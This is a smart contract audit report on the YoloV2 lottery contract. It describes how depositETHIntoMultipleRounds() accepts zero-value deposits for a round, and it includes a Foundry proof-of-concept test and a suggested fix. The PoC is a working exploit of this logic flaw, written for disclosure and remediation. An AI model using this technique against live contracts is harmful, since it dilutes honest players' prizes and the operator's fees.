depositETHIntoMultipleRounds() allows for empty deposit within round

Summary

The depositETHIntoMultipleRounds() function is meant to deposit Ether within multiple rounds, however it fails to properly validate each Ether amount specified for each round. Thus, it allows malicious player to add empty deposits to rounds at choice. Empty deposit itself does not give a chance to win a round for such player. However, firstly by exploiting this vulnerability the player can select rounds willing to play with and which might be most beneficial for him/her without bearing additional costs. Secondly, empty deposit decreases the overall award prize for the winner along with the fee accrued for the solution's owner as the number of deposits is limited.

Vulnerability Detail

Firstly, the depositETHIntoMultipleRounds() function validates whether any Ether is provided within the call. Thus, player must provide at least an amount equal to roundValuePerEntry .

acts/YoloV2.sol#L314

    function depositETHIntoMultipleRounds(uint256[] calldata amounts) external payable nonReentrant whenNotPaused {
        uint256 numberOfRounds = amounts.length;
        if (msg.value == 0 || numberOfRounds == 0) {
            revert ZeroDeposits();
        }
[...]

Then, the function checks whether the amount provided for particular round is a multiple of roundValuePerEntry by means of modulo operation. However, for empty depositAmount the modulo operation returns 0, so it bypasses the assertion.

acts/YoloV2.sol#L338

[...]
            uint256 depositAmount = amounts[i];
            if (depositAmount % roundValuePerEntry != 0) {
                revert InvalidValue();
            }
            uint256 entriesCount = _depositETH(round, roundId, roundValuePerEntry, depositAmount);
            expectedValue += depositAmount;
[...]

Such deposit with empty amount is considered valid and accepted by the algorithm.

Proof of Concept

Below PoC presents scenario, where legitimate player deposits 1 Ether in first round and 10 Ether in second round. Then malicious player perform multiple deposits for first and second rounds, but first round has 0 amount set, as second round appears to be potentially more beneficial. Whenever the first round ends, the legitimate player is selected as winner. However, in this case winner receives back only 0.97 Ether, where 0.03 of Ether is consumed by fees.

function test_gsec_depositETHIntoMultipleRounds_multiple_0_deposits_possible() public {
        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 1 ether;
        amounts[1] = 10 ether;

        vm.deal(user1, 11 ether); 
        vm.prank(user1);
        yolo.depositETHIntoMultipleRounds{value: 11 ether}(amounts);

        amounts[0] = 0 ether;
        amounts[1] = 2 ether / 100; 

        for (uint256 i = 0; i < 99; i++) {
            vm.deal(user2, 2 ether / 100);
            vm.prank(user2);
            yolo.depositETHIntoMultipleRounds{value: 2 ether / 100}(amounts);
        }

        (IYoloV2.RoundStatus status,,uint16 protocolFeeBp,,uint40 drawnAt,uint40 numberOfParticipants,address winner,uint96 valuePerEntry,uint256 protocolFeeOwed,IYoloV2.Deposit[] memory deposits) = yolo.getRound(1);

        assertEq(deposits.length, 100, "number of deposits");
        assertEq(uint8(status), uint8(IYoloV2.RoundStatus.Drawing));

        uint256[] memory randomWords = new uint256[](1);
        randomWords[0] = 69_420;

        expectEmitCheckAll();
        emit RoundStatusUpdated(1, IYoloV2.RoundStatus.Drawn);

        vm.prank(VRF_COORDINATOR);
        VRFConsumerBaseV2(yolo).rawFulfillRandomWords(FULFILL_RANDOM_WORDS_REQUEST_ID, randomWords);

        (status,,,,drawnAt,,winner,,protocolFeeOwed,deposits) = yolo.getRound(1);

        assertEq(uint8(status),  uint8(IYoloV2.RoundStatus.Drawn));
        assertEq(protocolFeeOwed, 3 ether / 100);
        assertEq(winner, user1);

        uint256[] memory prizesIndices = new uint256[](4);
        prizesIndices[0] = 0;
        prizesIndices[1] = 1;
        prizesIndices[2] = 98;
        prizesIndices[3] = 99;
        IYoloV2.WithdrawalCalldata[] memory withdrawalCalldata = new IYoloV2.WithdrawalCalldata[](1);
        withdrawalCalldata[0].roundId = 1;
        withdrawalCalldata[0].depositIndices = prizesIndices;

        assertEq(user1.balance, 0);
        vm.prank(user1);
        yolo.claimPrizes(withdrawalCalldata, false);
        assertEq(user1.balance, 97 ether / 100);
    }

Impact

Malicious player can abuse this function to make Ether deposits in future rounds without the need of playing in previous rounds whenever it will be considered beneficial for him/her.
Legitimate players can win decreased overall prize award within the round due to empty deposits.
Solution's owner can not receive minimum possible fee for such round, as empty deposit does not accrue fee.

Code Snippet

acts/YoloV2.sol#L338

Tool used

Manual Review, Foundry.

Recommendation

It is recommended to verify whether each depositAmount is a value larger than 0, to enforce player to play fairly in each round.

[...]
            uint256 depositAmount = amounts[i];
            if (depositAmount == 0 || depositAmount % roundValuePerEntry != 0) {
                revert InvalidValue();
            }
            uint256 entriesCount = _depositETH(round, roundId, roundValuePerEntry, depositAmount);
            expectedValue += depositAmount;
[...]

Duplicate of #18

sherlock-audit / 2024-01-looksrare-judging

cocacola - depositETHIntoMultipleRounds() allows for empty deposit within round #62